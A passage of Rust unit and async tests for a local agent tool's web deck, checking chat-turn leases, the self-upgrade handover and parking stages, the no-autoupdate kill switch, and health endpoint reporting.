15046 let ui = Ui::new(
15047 Queue::at(home.path().join("queue")),
15048 Questions::at(home.path().join("questions")),
15049 Talks::at(home.path().join("talks")),
15050 home.path().join("runs"),
15051 home.path().to_path_buf(),
15052 PathBuf::from("/repo"),
15053 )
15054 .with_worktrees_root(home.path().join("wt"));
15055 let id = "20260901-000000-once";
15056
15057 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
15058 let turn = ui.begin_talk_turn(id).expect("claim turn");
15059 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
15060 assert!(
15061 !ui.is_thinking("20260901-000000-other"),
15062 "one talk's turn does not make another talk busy"
15063 );
15064 drop(turn);
15065 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
15066 }
15067
15068 #[test]
15069 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
15070 let home = TempDir::new().expect("temp home");
15071 let talks = Talks::at(home.path().join("talks"));
15072 let ui = Ui::new(
15073 Queue::at(home.path().join("queue")),
15074 Questions::at(home.path().join("questions")),
15075 talks.clone(),
15076 home.path().join("runs"),
15077 home.path().to_path_buf(),
15078 PathBuf::from("/repo"),
15079 )
15080 .with_worktrees_root(home.path().join("wt"));
15081 let id = "20260901-000000-cross";
15082
15083 let other = Talks::at(home.path().join("talks"))
15084 .claim_turn(id)
15085 .expect("claim")
15086 .expect("the other process wins");
15087 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
15088 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
15089 assert!(
15090 matches!(
15091 ui.begin_talk_turn_unless_pending(id).expect("start"),
15092 TalkTurnStart::Foreign
15093 ),
15094 "a foreign holder is refused, not queued behind"
15095 );
15096 assert!(
15097 !ui.talk_turns.lock().unwrap().live.contains(id),
15098 "a refused claim leaves no in-process entry behind"
15099 );
15100 drop(other);
15101 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
15102 assert!(talks.turn_held(id), "the web turn holds the lease");
15103 drop(turn);
15104 assert!(
15105 !talks.turn_held(id),
15106 "dropping the guard releases the lease"
15107 );
15108 }
15109
15110 #[test]
15111 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
15112 let home = TempDir::new().expect("temp home");
15113 let talks = Talks::at(home.path().join("talks"));
15114 let ui = Ui::new(
15115 Queue::at(home.path().join("queue")),
15116 Questions::at(home.path().join("questions")),
15117 talks.clone(),
15118 home.path().join("runs"),
15119 home.path().to_path_buf(),
15120 PathBuf::from("/repo"),
15121 )
15122 .with_worktrees_root(home.path().join("wt"));
15123 let id = "20260901-000000-order";
15124 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15125 let slots = ui.talk_turns.lock().unwrap();
15127 let dropper = std::thread::spawn(move || drop(turn));
15128 let start = std::time::Instant::now();
15129 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
15130 std::thread::sleep(Duration::from_millis(5));
15131 }
15132 assert!(!talks.turn_held(id), "the lease is released first");
15133 assert!(slots.live.contains(id), "the slot is still held meanwhile");
15134 drop(slots);
15135 dropper.join().expect("join");
15136 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
15137 }
15138
15139 #[tokio::test]
15140 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
15141 let fx = Fixture::start().await;
15142 let mut beat = crate::daemon::Status::new();
15146 beat.pid = 4321;
15147 beat.updated_at = jiff::Timestamp::now();
15148 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15149 .expect("publish a heartbeat");
15150
15151 let res = fx.post("/api/upgrade", None).await;
15152 assert_eq!(res.status, 409);
15153 let err = res.json()["error"].as_str().unwrap().to_owned();
15154 assert!(err.contains("4321"), "the refusal names the owner: {err}");
15155 assert!(err.contains("old one against the same queue"), "{err}");
15156 }
15157
15158 #[test]
15165 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
15166 assert!(!should_spawn_recheck(&crate::config::Update {
15167 mode: UpdateMode::Off,
15168 interval: None,
15169 }));
15170
15171 unsafe {
15174 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15175 }
15176 let killed = should_spawn_recheck(&crate::config::Update {
15177 mode: UpdateMode::Notify,
15178 interval: None,
15179 });
15180 unsafe {
15181 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15182 }
15183 assert!(
15184 !killed,
15185 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
15186 one-time startup check"
15187 );
15188
15189 assert!(should_spawn_recheck(&crate::config::Update {
15190 mode: UpdateMode::Notify,
15191 interval: None,
15192 }));
15193 }
15194
15195 #[test]
15201 fn recheck_poll_period_tracks_a_short_configured_interval() {
15202 let short = crate::config::Update {
15203 mode: UpdateMode::Notify,
15204 interval: Some("1m".to_owned()),
15205 };
15206 let period = recheck_poll_period(&short);
15207 assert!(
15208 period <= Duration::from_secs(30),
15209 "a one-minute interval must wake the task far sooner than the \
15210 default ceiling, or the deck would not notice within the \
15211 interval the operator configured: got {period:?}"
15212 );
15213
15214 let default = crate::config::Update {
15215 mode: UpdateMode::Notify,
15216 interval: None,
15217 };
15218 assert_eq!(
15219 recheck_poll_period(&default),
15220 UPDATE_RECHECK_POLL_MAX,
15221 "the default day-long interval should poll at the (capped) \
15222 ceiling rather than needlessly often"
15223 );
15224 }
15225
15226 #[test]
15234 fn recheck_skips_the_network_before_the_interval_elapses() {
15235 let dir = TempDir::new().expect("temp dir");
15236 let path = dir.path().join("state.json");
15237 let state = kaishin::UpdateCheckState {
15238 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
15239 last_known_latest: None,
15240 last_known_url: None,
15241 };
15242 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
15243
15244 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
15245 assert!(
15246 !update_recheck_due(&checker, None),
15247 "a check made moments ago must not be repeated before the \
15248 configured interval elapses"
15249 );
15250 }
15251
15252 #[test]
15258 fn recheck_defers_to_an_upgrade_already_in_flight() {
15259 let dir = TempDir::new().expect("temp dir");
15260 let path = dir.path().join("state.json");
15261 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
15262 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
15263
15264 assert!(
15265 !update_recheck_due(&checker, Some(&progress)),
15266 "a recheck must not run while an upgrade this deck started is \
15267 still moving"
15268 );
15269 }
15270
15271 #[tokio::test]
15272 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
15273 unsafe {
15285 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15286 }
15287 let fx = Fixture::start().await;
15288 let res = fx.post("/api/upgrade", None).await;
15289 unsafe {
15290 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15291 }
15292 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15293 let body = res.json();
15294 assert!(body["to"].is_null(), "there was no release to move to");
15295 assert!(body["parked"].is_null(), "and nothing was parked");
15296 assert!(
15297 body["detail"]
15298 .as_str()
15299 .unwrap()
15300 .contains("disabled by MAGI_NO_AUTOUPDATE"),
15301 "{body:?}"
15302 );
15303 }
15304
15305 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
15306 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
15307 p.stage = stage;
15308 p
15309 }
15310
15311 #[test]
15312 fn busy_stages_match_the_ui_set() {
15313 use crate::updater::Stage;
15314 assert!(APP_JS.contains(
15315 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
15316 ));
15317 for s in [
15318 Stage::Downloading,
15319 Stage::Replaced,
15320 Stage::Parking,
15321 Stage::Restarting,
15322 ] {
15323 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
15324 }
15325 for s in [Stage::Done, Stage::Failed] {
15326 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
15327 }
15328 assert!(upgrade_in_motion(None).is_none());
15329 }
15330
15331 #[tokio::test]
15332 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
15333 use crate::updater::Stage;
15334 for stage in [
15335 Stage::Downloading,
15336 Stage::Replaced,
15337 Stage::Parking,
15338 Stage::Restarting,
15339 ] {
15340 let fx = Fixture::start().await;
15341 let seeded = seeded_progress(stage);
15342 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
15343 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15344 .expect("read");
15345
15346 let res = fx.post("/api/upgrade", None).await;
15347 assert_eq!(res.status, 409, "{stage:?}");
15348 let err = res.json()["error"].as_str().unwrap().to_owned();
15349 assert!(err.contains("already in progress"), "{err}");
15350 assert!(err.contains(stage.as_str()), "{err}");
15351
15352 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15353 .expect("read");
15354 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
15355 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
15356 .unwrap_or_default();
15357 assert!(!log.contains("signalling HANDOVER"), "{log}");
15358 }
15359 }
15360
15361 #[tokio::test]
15362 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
15363 use crate::updater::Stage;
15364 let repo = TempDir::new().expect("repo dir");
15365 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15366 .expect("write magi.toml");
15367 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15368 for stage in [Stage::Done, Stage::Failed] {
15369 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
15370 let res = fx.post("/api/upgrade", None).await;
15371 assert_eq!(res.status, 200, "{stage:?}");
15372 }
15373 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
15375 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
15376 }
15377
15378 #[tokio::test]
15379 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
15380 let repo = TempDir::new().expect("repo dir");
15396 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15397 .expect("write magi.toml");
15398 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15399
15400 let res = fx.post("/api/upgrade", None).await;
15406 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15407 let body = res.json();
15408 assert!(body["to"].is_null(), "there was no release to move to");
15409 assert!(body["parked"].is_null(), "and nothing was parked");
15410 assert!(
15411 body["detail"]
15412 .as_str()
15413 .unwrap()
15414 .contains("nothing restarted"),
15415 "{body:?}"
15416 );
15417 }
15418
15419 #[tokio::test]
15420 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
15421 let repo = TempDir::new().expect("repo dir");
15426 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15427 .expect("write magi.toml");
15428 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15429
15430 let health = fx.get("/api/health").await.json();
15431 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
15432 assert_eq!(
15433 health["update"]["available"], false,
15434 "checking is off, which reads as \"unknown\", not \"none\""
15435 );
15436 assert!(health["update"]["to"].is_null());
15437 assert!(
15438 health["upgrade"].is_null(),
15439 "nothing has ever asked this deck to upgrade"
15440 );
15441 }
15442
15443 #[tokio::test]
15444 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
15445 let fx = Fixture::start().await;
15446 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
15447
15448 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15449 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15450 progress.advance(crate::updater::Stage::Parking);
15451 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15452
15453 let health = fx.get("/api/health").await.json();
15454 assert_eq!(health["upgrade"]["stage"], "parking");
15455 assert_eq!(health["upgrade"]["from"], "0.5.1");
15456 assert_eq!(health["upgrade"]["to"], "0.5.2");
15457 let waiting_on = health["upgrade"]["waiting_on"]
15458 .as_str()
15459 .expect("waiting_on is set while parking a known run");
15460 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15461 assert!(waiting_on.contains("implementing"), "{waiting_on}");
15462 }
15463
15464 #[tokio::test]
15465 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
15466 let fx = Fixture::start().await;
15467 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15468 progress.advance(crate::updater::Stage::Done);
15469 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15470
15471 let health = fx.get("/api/health").await.json();
15472 assert_eq!(health["upgrade"]["stage"], "done");
15473 assert!(
15474 health["upgrade"]["waiting_on"].is_null(),
15475 "nothing to wait on once it is done"
15476 );
15477 }
15478
15479 #[tokio::test]
15480 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
15481 let home = TempDir::new().expect("temp home");
15482 let runs = home.path().join("runs");
15483 std::fs::create_dir_all(&runs).expect("runs dir");
15484 let ui = Ui::new(
15485 Queue::at(home.path().join("queue")),
15486 Questions::at(home.path().join("questions")),
15487 Talks::at(home.path().join("talks")),
15488 runs,
15489 home.path().to_path_buf(),
15490 PathBuf::from("/repo/magi"),
15491 )
15492 .with_launch(launch_idle);
15493 let looping = ui.looping();
15494 let turns = ui.turns();
15495 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15496 .await
15497 .expect("bind loopback");
15498 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15499
15500 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15501 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15502
15503 hand_over(
15504 home.path(),
15505 &looping,
15506 &turns,
15507 &|_: &[String]| Duration::from_secs(5),
15508 served,
15509 |_| Ok(1),
15510 )
15511 .await
15512 .expect("hand over");
15513
15514 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
15515 assert_eq!(
15516 after.stage,
15517 crate::updater::Stage::Restarting,
15518 "hand_over owns the record through parking and up to restarting; \
15519 the successor is what finishes it"
15520 );
15521 }
15522
15523 #[tokio::test]
15526 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
15527 for fail in [false, true] {
15528 let home = TempDir::new().expect("temp home");
15529 let ui = idle_ui(&home);
15530 let looping = ui.looping();
15531 let turns = ui.turns();
15532 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15533 .await
15534 .expect("bind loopback");
15535 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15536 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15537 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15538
15539 let calls = std::sync::atomic::AtomicUsize::new(0);
15540 let outcome = hand_over(
15541 home.path(),
15542 &looping,
15543 &turns,
15544 &|_: &[String]| Duration::from_secs(5),
15545 served,
15546 |_| {
15547 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15548 if fail {
15549 anyhow::bail!("no exec")
15550 } else {
15551 Ok(4242)
15552 }
15553 },
15554 )
15555 .await;
15556 assert_eq!(outcome.is_err(), fail);
15557 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15558
15559 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15560 .expect("upgrade.log is written under the home");
15561 for step in [
15562 "entered",
15563 "finish_loop",
15564 "listener released",
15565 "starting the successor",
15566 ] {
15567 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15568 }
15569 assert!(
15570 log.contains(if fail { "did not start" } else { "pid 4242" }),
15571 "{log}"
15572 );
15573 }
15574 }
15575
15576 #[tokio::test]
15579 async fn the_handover_signal_wakes_one_waiter_once() {
15580 let signal = Notify::new();
15581 signal.notify_one();
15583 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15584 .await
15585 .expect("an early signal is still seen");
15586 assert!(
15588 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15589 .await
15590 .is_err(),
15591 "a consumed signal must not wake a second time"
15592 );
15593 let signal = std::sync::Arc::new(signal);
15595 let waiter = tokio::spawn({
15596 let signal = std::sync::Arc::clone(&signal);
15597 async move { wait_for_handover(&signal).await }
15598 });
15599 tokio::time::sleep(Duration::from_millis(20)).await;
15600 assert!(!waiter.is_finished(), "nothing was signalled yet");
15601 signal.notify_one();
15602 tokio::time::timeout(Duration::from_secs(5), waiter)
15603 .await
15604 .expect("a late signal wakes the waiter")
15605 .expect("join");
15606 }
15607
15608 #[tokio::test]
15609 async fn health_says_how_long_a_handover_has_been_stuck() {
15610 let fx = Fixture::start().await;
15611 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15612 progress.advance(crate::updater::Stage::Replaced);
15613 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15614 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15615
15616 let health = fx.get("/api/health").await.json();
15617 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15618 assert!(stuck >= 600, "{stuck}");
15619 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15620 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15621 }
15622
15623 #[tokio::test]
15624 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15625 let home = tempfile::tempdir().expect("temp home");
15626 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15627 progress.advance(crate::updater::Stage::Parking);
15628 crate::updater::write_progress(home.path(), &progress).expect("seed");
15629 let mut again = progress.clone();
15631 again.advance(crate::updater::Stage::Replaced);
15632 crate::updater::write_progress(home.path(), &again).expect("replaced");
15633 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15634 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15635 let after = crate::updater::read_progress(home.path()).expect("record");
15636 assert_eq!(after.stage, crate::updater::Stage::Parking);
15637 }
15638
15639 #[tokio::test]
15640 async fn health_does_not_call_a_live_parking_wait_stuck() {
15641 let fx = Fixture::start().await;
15642 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15643 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15644 progress.advance(crate::updater::Stage::Parking);
15645 let hours = Duration::from_secs(3 * 3600);
15646 progress.started_at = Timestamp::now() - hours;
15647 progress.updated_at = Timestamp::now() - hours;
15648 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15649 let _lease = crate::updater::LeaseGuard::enter(
15650 fx.home.path(),
15651 Some("20260905-000000-cd51".to_owned()),
15652 );
15653
15654 let health = fx.get("/api/health").await.json();
15655 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15656 assert!(health["upgrade"]["stuck_kind"].is_null());
15657 assert_eq!(health["upgrade"]["handover_alive"], true);
15658 let waiting_on = health["upgrade"]["waiting_on"]
15659 .as_str()
15660 .expect("waiting_on");
15661 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15662 }
15663
15664 fn idle_ui(home: &TempDir) -> Ui {
15665 let runs = home.path().join("runs");
15666 std::fs::create_dir_all(&runs).expect("runs dir");
15667 Ui::new(
15668 Queue::at(home.path().join("queue")),
15669 Questions::at(home.path().join("questions")),
15670 Talks::at(home.path().join("talks")),
15671 runs,
15672 home.path().to_path_buf(),
15673 PathBuf::from("/repo/magi"),
15674 )
15675 .with_launch(launch_idle)
15676 }
15677
15678 async fn park_fixture(
15679 home: &TempDir,
15680 ) -> (
15681 Ui,
15682 Arc<Mutex<LoopState>>,
15683 Arc<Mutex<TalkTurns>>,
15684 tokio::task::JoinHandle<std::io::Result<()>>,
15685 ) {
15686 let ui = idle_ui(home);
15687 let looping = ui.looping();
15688 let turns = ui.turns();
15689 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15690 .await
15691 .expect("bind loopback");
15692 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15693 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15694 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15695 (ui, looping, turns, served)
15696 }
15697
15698 #[tokio::test]
15702 async fn hand_over_waits_for_a_running_chat_turn() {
15703 let home = TempDir::new().expect("temp home");
15704 let (ui, looping, turns, served) = park_fixture(&home).await;
15705 let ui = Arc::new(ui);
15706 let id = "20260901-000000-chat";
15707 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15708
15709 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15710 let handover = tokio::spawn({
15711 let home = home.path().to_path_buf();
15712 let turns = Arc::clone(&turns);
15713 let calls = Arc::clone(&calls);
15714 async move {
15715 hand_over(
15716 &home,
15717 &looping,
15718 &turns,
15719 &|_: &[String]| Duration::from_secs(60),
15720 served,
15721 move |_| {
15722 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15723 Ok(1)
15724 },
15725 )
15726 .await
15727 }
15728 });
15729
15730 let waiting = async {
15731 for _ in 0..200 {
15732 if crate::updater::read_progress(home.path())
15733 .is_some_and(|p| p.parked_talks == [id.to_owned()])
15734 {
15735 return;
15736 }
15737 tokio::time::sleep(Duration::from_millis(25)).await;
15738 }
15739 panic!("the park never named the chat turn");
15740 };
15741 waiting.await;
15742 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15743
15744 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15747 assert!(
15748 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15749 "a direct start says an upgrade is in progress"
15750 );
15751 assert!(
15752 ui.begin_queued_talk_turn("20260901-000000-late")
15753 .expect("queued claim")
15754 .is_none()
15755 );
15756 assert!(matches!(
15757 ui.begin_talk_turn_unless_pending("20260901-000000-late")
15758 .expect("start"),
15759 TalkTurnStart::Busy
15760 ));
15761 assert_eq!(turns.lock().unwrap().live.len(), 1);
15762
15763 let progress = crate::updater::read_progress(home.path()).expect("progress");
15765 let view = upgrade_progress_view(&ui, progress);
15766 assert!(
15767 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15768 "{:?}",
15769 view.waiting_on
15770 );
15771
15772 assert!(!handover.is_finished());
15773 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15774 drop(turn);
15775 handover.await.expect("join").expect("hand over");
15776 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15777 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15778 }
15779
15780 #[tokio::test]
15783 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
15784 let home = TempDir::new().expect("temp home");
15785 let (ui, looping, turns, served) = park_fixture(&home).await;
15786 let ui = Arc::new(ui);
15787 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
15789 lock_or_recover(&looping).live = Some(Live {
15790 stop: daemon::Stop::new(),
15791 handle: tokio::spawn(async move {
15792 let _ = loop_ended.await;
15793 }),
15794 opts: daemon::Opts::default(),
15795 });
15796
15797 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15798 let handover = tokio::spawn({
15799 let home = home.path().to_path_buf();
15800 let turns = Arc::clone(&turns);
15801 let calls = Arc::clone(&calls);
15802 async move {
15803 hand_over(
15804 &home,
15805 &looping,
15806 &turns,
15807 &|_: &[String]| Duration::from_secs(60),
15808 served,
15809 move |_| {
15810 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15811 Ok(1)
15812 },
15813 )
15814 .await
15815 }
15816 });
15817
15818 let reached = async {
15819 for _ in 0..200 {
15820 if crate::updater::read_progress(home.path())
15821 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
15822 {
15823 return;
15824 }
15825 tokio::time::sleep(Duration::from_millis(25)).await;
15826 }
15827 panic!("the hand-over never reached parking");
15828 };
15829 reached.await;
15830
15831 assert!(!turns.lock().unwrap().parking);
15833 let turn = ui
15834 .begin_talk_turn("20260901-000000-chat")
15835 .expect("claim")
15836 .expect("a turn can start while the loop parks");
15837
15838 end_loop.send(()).expect("loop still waiting");
15840 for _ in 0..200 {
15841 if turns.lock().unwrap().parking {
15842 break;
15843 }
15844 tokio::time::sleep(Duration::from_millis(25)).await;
15845 }
15846 assert!(
15847 turns.lock().unwrap().parking,
15848 "closed once the loop is done"
15849 );
15850 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15851 assert!(
15852 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15853 "no turn starts once the loop is done"
15854 );
15855 assert!(
15856 ui.begin_queued_talk_turn("20260901-000000-late")
15857 .expect("queued claim")
15858 .is_none()
15859 );
15860 assert!(!handover.is_finished());
15861 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15862
15863 drop(turn);
15864 handover.await.expect("join").expect("hand over");
15865 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15866 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15867 }
15868
15869 #[tokio::test]
15872 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15873 let home = TempDir::new().expect("temp home");
15874 let (ui, looping, turns, served) = park_fixture(&home).await;
15875 let id = "20260901-000000-stuk";
15876 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15877
15878 let calls = std::sync::atomic::AtomicUsize::new(0);
15879 hand_over(
15880 home.path(),
15881 &looping,
15882 &turns,
15883 &|_: &[String]| Duration::from_millis(300),
15884 served,
15885 |_| {
15886 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15887 Ok(1)
15888 },
15889 )
15890 .await
15891 .expect("hand over");
15892 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15893
15894 let progress = crate::updater::read_progress(home.path()).expect("progress");
15895 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15896 assert!(
15897 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15898 "{:?}",
15899 progress.detail
15900 );
15901 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15902 assert!(
15903 log.contains("handing over anyway") && log.contains(id),
15904 "{log}"
15905 );
15906 }
15907
15908 #[tokio::test]
15911 async fn drain_loop_starts_no_turn_while_parking() {
15912 let tmp = TempDir::new().expect("tempdir");
15913 let repo = tmp.path().join("repo");
15914 std::fs::create_dir_all(&repo).expect("repo dir");
15915 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15916 let home = TempDir::new().expect("temp home");
15917 let talks = Talks::at(home.path().join("talks"));
15918 let ui = Ui::new(
15919 Queue::at(home.path().join("queue")),
15920 Questions::at(home.path().join("questions")),
15921 talks.clone(),
15922 home.path().join("runs"),
15923 home.path().to_path_buf(),
15924 repo.clone(),
15925 )
15926 .with_worktrees_root(home.path().join("wt"));
15927 let cfg = config_for(&repo).await.expect("discover config");
15928 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15929 let id = talk.id.clone();
15930 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15931 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15932 let turns = ui.turns();
15933 let parking = ParkingTurns::begin(&turns);
15934
15935 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15936
15937 assert!(
15938 turns.lock().unwrap().live.is_empty(),
15939 "the slot is given up"
15940 );
15941 let fresh = talks.get(&id).expect("talk");
15942 assert_eq!(fresh.pending, "later", "the draft is still queued");
15943 assert!(fresh.turns.is_empty(), "no turn ran");
15944 drop(parking);
15945 }
15946
15947 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15949 let looping = ui.looping();
15950 let turns = ui.turns();
15951 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15952 .await
15953 .expect("bind loopback");
15954 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15955 let told = std::sync::Mutex::new(None);
15956 hand_over(
15957 home.path(),
15958 &looping,
15959 &turns,
15960 &|_: &[String]| Duration::from_secs(5),
15961 served,
15962 |resume| {
15963 *told.lock().unwrap() = Some(resume);
15964 Ok(1)
15965 },
15966 )
15967 .await
15968 .expect("hand over");
15969 told.into_inner().unwrap().expect("successor was started")
15970 }
15971
15972 #[tokio::test]
15973 async fn a_running_loop_is_resumed_by_the_successor() {
15974 let home = TempDir::new().expect("temp home");
15975 let ui = idle_ui(&home);
15976 ui.start_loop(None).expect("start");
15977 ui.park_for_upgrade().expect("park");
15978 for _ in 0..500 {
15980 if !ui.loop_view(None).running {
15981 break;
15982 }
15983 tokio::time::sleep(Duration::from_millis(2)).await;
15984 }
15985 assert!(handed_over(&home, ui).await, "a running loop must resume");
15986
15987 let successor = idle_ui(&home);
15988 assert!(!successor.loop_view(None).running);
15989 assert!(successor.resume_after_handover(true));
15990 assert!(successor.loop_view(None).running);
15991 successor.stop_loop(None, false).expect("stop");
15992 }
15993
15994 #[tokio::test]
15995 async fn a_second_upgrade_request_keeps_the_resume_intent() {
15996 let home = TempDir::new().expect("temp home");
15997 let ui = idle_ui(&home);
15998 ui.start_loop(None).expect("start");
15999 ui.park_for_upgrade().expect("first park");
16000 ui.park_for_upgrade().expect("second park");
16001 assert!(handed_over(&home, ui).await);
16002 }
16003
16004 #[tokio::test]
16005 async fn a_stop_during_the_handover_wait_is_honoured() {
16006 let home = TempDir::new().expect("temp home");
16007 let ui = idle_ui(&home);
16008 ui.start_loop(None).expect("start");
16009 ui.park_for_upgrade().expect("park");
16010 ui.stop_loop(None, false).expect("stop");
16011 assert!(!handed_over(&home, ui).await);
16012 }
16013
